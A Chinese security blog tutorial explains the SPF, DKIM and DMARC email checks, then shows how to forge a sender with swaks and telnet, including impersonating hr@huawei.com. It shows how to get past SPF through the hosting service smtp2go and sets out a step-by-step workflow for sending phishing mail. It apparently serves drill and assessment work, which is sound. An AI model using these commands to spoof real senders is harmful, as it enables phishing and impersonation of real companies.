发件人策略框架(Sender Policy Framework)就是一套电子邮件认证机制,当你定义了你域名的SPF记录之后,邮件接收方的收件服务器在接受到邮件后,首先检查域名的SPF记录,来确定发件人的IP地址是否被包含在SPF记录里面,如果在,就认为是一封正确的邮件,否则会认为是一封伪造的邮件进行退回或丢弃处理。

image

比如我们直接向163邮箱服务器发送一个邮件,并且声称自己是hr@huawei.com

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 163mx03.mxmail.netease.com是163邮件服务器的mx记录ip
ubuntu@10-9-15-151:~$ telnet 163mx03.mxmail.netease.com 25
Trying 220.181.14.158...
Connected to 163mx03.mxmail.netease.com.
Escape character is '^]'.
220 163.com Anti-spam GT for Coremail System (163com[20141201])
ehlo antispam
250-mail
250-PIPELINING
250-AUTH LOGIN PLAIN
250-AUTH=LOGIN PLAIN
250-coremail 1Uxr2xKj7kG0xkI17xGrU7I0s8FY2U3Uj8Cz28x1UUUUU7Ic2I0Y2UrZp-lKUCa0xDrUUUUj
250-STARTTLS
250-SIZE 73400320
250 8BITMIME
mail from:<hr@huawei.com>
550 MI:SPF 163 mx41,W8CowADH_BmJ+n1e3WJCCQ--.18274S2 1585314452 http://mail.163.com/help/help_spam_16.htm?ip=106.71.91.111&hostid=mx41&time=1585314452

可以看到当我们发送mail from:<hr@huawei.com>来声称邮件发送方时,163的邮箱服务器抛出了SPF错误,也就是说我们发送方的ip106.71.91.111不在huawei.com域名的SPF记录名单里面。

我们可以查一下huawei.com的spf记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ubuntu@10-9-15-151:~$ nslookup -type=txt huawei.com
;; Truncated, retrying in TCP mode.
Server: 10.9.255.1
Address: 10.9.255.1#53

Non-authoritative answer:
huawei.com text = "fz9vxRtJpRFrw8&VLnW9Z4gUPdofN1DwkF516%&L9YXHev2&VuoPYaiKqkD@tf7&eI^Aryg5I8SWUR&MxzvhgCfK3*OjUnT%6&ghuawei20190518"
huawei.com text = "v=spf1 ip4:45.249.212.32 ip4:45.249.212.35 ip4:45.249.212.255 ip4:45.249.212.187/29 ip4:45.249.212.191 ip4:185.176.76.210 ip4:168.195.93.47 ip4:103.69.140.247 -all"
huawei.com text = "v=DMARC1;p=none;rua=mailto:dmarc@edm.huawei.com"
huawei.com text = "N3U/UqKcdI+8rthQEYTbph+m6MCg7+IW43PP5SuPxww="
huawei.com text = "MS=C4F6A693225CC6E058F6C9C39FD728C06C43E597"

Authoritative answers can be found from:
. nameserver = d.root-servers.net.
. nameserver = b.root-servers.net.
. nameserver = k.root-servers.net.
. nameserver = c.root-servers.net.
. nameserver = j.root-servers.net.
. nameserver = e.root-servers.net.
. nameserver = f.root-servers.net.
. nameserver = g.root-servers.net.
. nameserver = i.root-servers.net.
. nameserver = a.root-servers.net.
. nameserver = h.root-servers.net.
. nameserver = m.root-servers.net.
. nameserver = l.root-servers.net.

关注其中的

1
v=spf1 ip4:45.249.212.32 ip4:45.249.212.35 ip4:45.249.212.255 ip4:45.249.212.187/29 ip4:45.249.212.191 ip4:185.176.76.210 ip4:168.195.93.47 ip4:103.69.140.247 -all

这是一种常见的SPF写法,其中的-all表明在不匹配前面所列主机时,接收服务器需要将邮件全部拒绝

SPF 记录的匹配机制主要用于定义和指定可由该域名发送邮件的主机,其定义方式包括:

  • all 匹配任何主机,它写在SPF记录最后以匹配在其前面所列出的主机。
  • ip4 匹配IPv4地址或网络范围。
  • ip6 匹配IPv6地址或网络范围。
  • a 匹配主机名或域名。
  • mx 匹配域名的MX记录,当出站与入站邮件为同一服务器时通常采用此种机制。
  • ptr 通过DNS反向记录来匹配发件人IP和域名,由于会增加DNS负载,一般不采用此种机制。
  • exists 只检查域是否在DNS中存在。
  • include 将发件人IP和SPF记录指向另一个域,这种匹配机制通常用于云服务,如Exchange Online Protection。

SPF 记录的匹配机制会结合一些限定词来使用,以告诉服务器找到一条匹配记录时该怎么办。常见的限定词有:

  • +放行,如果没有明确指定限定词,则为默认值
  • –硬拒绝,直接拒绝来自未经授权主机的邮件
  • ~软拒绝,邮件可被接受,也可被标记为垃圾邮件
  • ?中性,不考虑邮件是否被接受

3. DKIM与DMARC

域名密钥识别邮件(DomainKeys Identified Mail,DKIM)是一套电子邮件认证机制,使用公开密钥加密邮件,以检测邮件是否是伪造或被篡改。通常发送方会在电子邮件的标头插入DKIM-Signature及电子签名, 而接收方则透过DNS查询得到公钥后进行验证.

DMARC建立在发件人策略框架 (SPF)和域名识别邮件 (DKIM)协议之上。如果这两种身份验证方法都不通过,DMARC 策略将决定如何处理该消息。DMARC要求域名所有者在DNS记录中设置SPF记录和DKIM记录,并明确声明对验证失败邮件的处理策略。

以上两种机制也是现有的电子邮件安全机制,不过以SPF策略为主。

4. 邮件伪造

4.1 Swaks

Swaks(Swiss Army Knife for SMTP,SMTP瑞士军刀),多功能的SMTP协议测试工具,利用Swaks可以很方便的发送伪造邮件。

常用Swaks指令

1
2
3
4
--ehlo [helo-string]:伪造ehlo头信息
--header [header-and-data]:伪造From、Subject、Message-Id、X-Mailer等头信息
--data [data-portion]:伪造DATA的全部内容,可直接将邮件源码作为选项
--attach [attachment-specification]:添加附件

具体介绍就不多介绍了,可以看官方主页

这里来个示例:

1
swaks --to test@163.com --from test@gmail.com --body 'This is a test mailing' --header 'Subject: test' --ehlo gmail.com --header-X-Mailer gmail.com

4.2 SPF记录未设置或者设置不当

当一个域名未设置SPF记录或者设置不当时,就存在邮件伪造漏洞风险。可以通过以下方式探测域名是否存在SPF记录:

1
nslookup -type=txt xxx.com.cn
  • 未设置(比如我自己的域名)

    1
    2
    3
    4
    5
    6
    root@Test-WEB1-yanq:~# nslookup -type=txt saucer-man.com
    Server: 10.40.59.251
    Address: 10.40.59.251#53

    Non-authoritative answer:
    *** Can't find saucer-man.com: No answer
  • 设置不当

比如下面的域名,SPF记录设置成~all,未匹配到的邮件可被接受,也可被标记为垃圾邮件。

1
2
3
4
5
6
ubuntu@10-9-15-151:~$ nslookup -q=txt xxx.com
Server: 10.9.255.1
Address: 10.9.255.1#53

Non-authoritative answer:
xxx.com text = "v=spf1 ip4:36.7.172.15 ip4:220.248.245.131 ip4:111.39.232.6 ip4:36.7.172.14 ~all"

经过测试,当接收邮箱系统验证SPF时出现上述情况时,不同邮箱系统的反应如下:

  • qq邮箱不接受
  • outlook邮箱接收
  • gmail邮箱标记为垃圾邮件
  • 163邮箱标记为垃圾邮件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
root@Test:~# swaks --to yixianosaurusphaaaga7096@gmail.com --from admin@saucer-man.com --body 'This is a test mailing' --header 'Subject: test mail' --ehlo saucer-man.com --header-X-Mailer saucer-man.com
=== Trying gmail-smtp-in.l.google.com:25...
=== Connected to gmail-smtp-in.l.google.com.
<- 220 mx.google.com ESMTP m6si9771129pld.54 - gsmtp
-> EHLO saucer-man.com
<- 250-mx.google.com at your service, [103.59.50.2]
<- 250-SIZE 157286400
<- 250-8BITMIME
<- 250-STARTTLS
<- 250-ENHANCEDSTATUSCODES
<- 250-PIPELINING
<- 250-CHUNKING
<- 250 SMTPUTF8
-> MAIL FROM:<admin@saucer-man.com>
<- 250 2.1.0 OK m6si9771129pld.54 - gsmtp
-> RCPT TO:<yixianosaurusphaaaga7096@gmail.com>
<- 250 2.1.5 OK m6si9771129pld.54 - gsmtp
-> DATA
<- 354 Go ahead m6si9771129pld.54 - gsmtp
-> Date: Mon, 30 Mar 2020 15:32:58 +0800
-> To: yixianosaurusphaaaga7096@gmail.com
-> From: admin@saucer-man.com
-> Subject: test mail
-> X-Mailer: saucer-man.com
->
-> This is a test mailing
->
-> .
<- 250 2.0.0 OK 1585553581 m6si9771129pld.54 - gsmtp
-> QUIT
<- 221 2.0.0 closing connection m6si9771129pld.54 - gsmtp
=== Connection closed with remote host.

接收到的信息:

image

原始数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Delivered-To: yixianosaurusphangnga7096@gmail.com
Received: by 2002:a4f:f31a:0:0:0:0:0 with SMTP id c26csp2268818ivo;
Mon, 30 Mar 2020 00:33:01 -0700 (PDT)
X-Google-Smtp-Source: APiQypJvIKWdfG+6JpupjdqrYQfiXBeg7CPCrQ/ME+6eM+jUzhd19nOOsyGO1oi2FzXc892BL1EW
X-Received: by 2002:a63:6d0b:: with SMTP id i11mr2776601pgc.404.1585553581825;
Mon, 30 Mar 2020 00:33:01 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1585553581; cv=none;
d=google.com; s=arc-20160816;
b=YbBzqga5isSYWhaqAsRdWg/lzDH0S92InVplzXxAmGXkCqxdt7C3t9mOFLwZpEkpqi
QW4Y2I4+vAIpbiMi2MqUyLL7tU2Cq/jNlaO6VX+r0Gu1nx8ZxTpUR
b9yqaZaq6tcg48EWzGfuOT3uBs2aVp9W8Upf0MeSxPLVbpgEnzqMRjqlIhZaXAIe9kR1xg4V4IObPilZfBb4uYY0ayLTDcDDMXTc
GyjA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816;
h=subject:from:to:date:message-id;
bh=ecGWgWCJeWxJFeM0urOVWP+KOlqqvsQYKOpYUP8nk7I=;
b=ZHdmyDNpyMR/DCfW1heAmecEtINi+fb5Myr8+sjj1meh6oH0VhTZzvOCTylrp/WXlu
kGgDW2zzC95QeKAFF3ZbXClFoDVgEGECg2mTmQ2QUXB74qi5EDtu+X4izzxqjBZ+
m97oeNIBQoka40rvItwK8foHNSo3l6k55cpTvJ6+c1SvOz/eW5f0Im7dFpX3ELrioNMK
Kuvw==
ARC-Authentication-Results: i=1; mx.google.com;
spf=temperror (google.com: error in processing during lookup of admin@saucer-man.com: DNS error) smtp.mailfrom=admin@saucer-man.com
Return-Path: <admin@saucer-man.com>
Received: from saucer-man.com ([003.11.50.2])
by mx.google.com with ESMTP id m6si9771129pld.54.2020.03.30.00.33.01
for <yixianosaurusphaaaga7096@gmail.com>;
Mon, 30 Mar 2020 00:33:01 -0700 (PDT)
Received-SPF: temperror (google.com: error in processing during lookup of admin@saucer-man.com: DNS error) client-ip=003.11.50.2;
Authentication-Results: mx.google.com;
spf=temperror (google.com: error in processing during lookup of admin@saucer-man.com: DNS error) smtp.mailfrom=admin@saucer-man.com
Message-ID: <5e81a0ad.1c69fb81.18eb2.4993SMTPIN_ADDED_MISSING@mx.google.com>
Date: Mon, 30 Mar 2020 15:32:58 +0800
To: yixianosaurusphaaaga7096@gmail.com
From: admin@saucer-man.com
Subject: test mail
X-Mailer: saucer-man.com

This is a test mailing

可以看出没有SPF记录,所以SPF验证失败,虽然也接收了,但是放进了垃圾邮箱。

4.3 利用邮件托管平台绕过SPF记录

当大部分公司SPF都设置的没问题,我们就需要想其他办法了。

我们需要借助到邮件托管平台来绕过SPF监测:

  • smtp2go(速度慢但免费发送量大,需要自己有域名)
  • SendCloud(速度快但免费发送量少)
  • 也可以自己搭建邮件服务器

这里我们使用smtp2go,注册账户并登录,smtp2go中需要存在有效SMTP Users和Domains才能正常投递邮件。

Add SMTP Users:

image

Add Domains,新建Domain需要一个域名并按照引导完成CNAME绑定:

image

然后利用swaks发送邮件:

1
swaks --to xxx@qq.com --from hr@huawei.com --header 'Subject: test main' --ehlo gmail.com --body 'hello, I am blut' --server mail.smtp2go.com -p 2525 -au <username> -ap <password> --header-X-Mailer gmail.com

image

但是邮箱显示出由 bT.8bpq490=utd2ksqiq7h24d=th2qtu@return.smtpservice.net 代发。

image

经过测试,各大邮箱的反应如下:

  • qq邮箱,正常接收,显示代发
  • gmail邮箱,正常接收,显示代发
  • 163邮箱,正常接收,显示代发
  • outlook邮箱,正常接收,不显示代发

为什么会显示代发

查看原始邮件会发现存在smtp.from以及From字段。smtp.from代表的就是真正发件人,收件服务器会去其代表的域下进行SPF记录校验,From字段是我们自定义的邮件Header字段,如果当两者不一致时,邮件服务商可能会在客户端显示代发,用来提示收件人邮件伪造攻击风险。

我们使用托管邮箱平台发送邮件时,邮件托管平台的域名会被作为smtp.from值,所以SPF记录校验是PASS的。

image

5. 总结

上述说了伪造邮件的方式。

  • 如果SPF记录未设置 直接用swaks伪造即可
  • 如果存在SPF记录,则利用第三方邮件托管平台伪造,但是一般会显示由xxx代发

一般情况下我们可以使用如下的流程去发送:

  1. 自己用邮箱编辑好钓鱼邮件,可以包含附件等再发送,然后导出为eml文件:

image

  1. 编辑eml文件,删除from值和之前的无关紧要的信息,及更改收件人昵称

image

  1. 使用如下命令发送。
1
swaks --to xxx@qq.com --from hr@huawei.com --data aaa.eml --server mail.smtp2go.com -p 2525 -au <username> -ap <password>

邮件伪造作为 APT 攻击的常见入口方式,是我在第一份工作时就进行的实现,当时是全自动化的评估企业邮箱的安全性吧,当时某易和某企鹅的产品都多少存在问题,无法识别全部的 POC,当时用到的工具就有 Swaks

直到24年做安全演练,想想做钓鱼邮件吧,就才把邮件伪造的相关资料翻出来,结果发现自己竟然没写过相关的博文,在此补上,和后续的自建smtp服务器、gophish实践一起,算作纪念

参考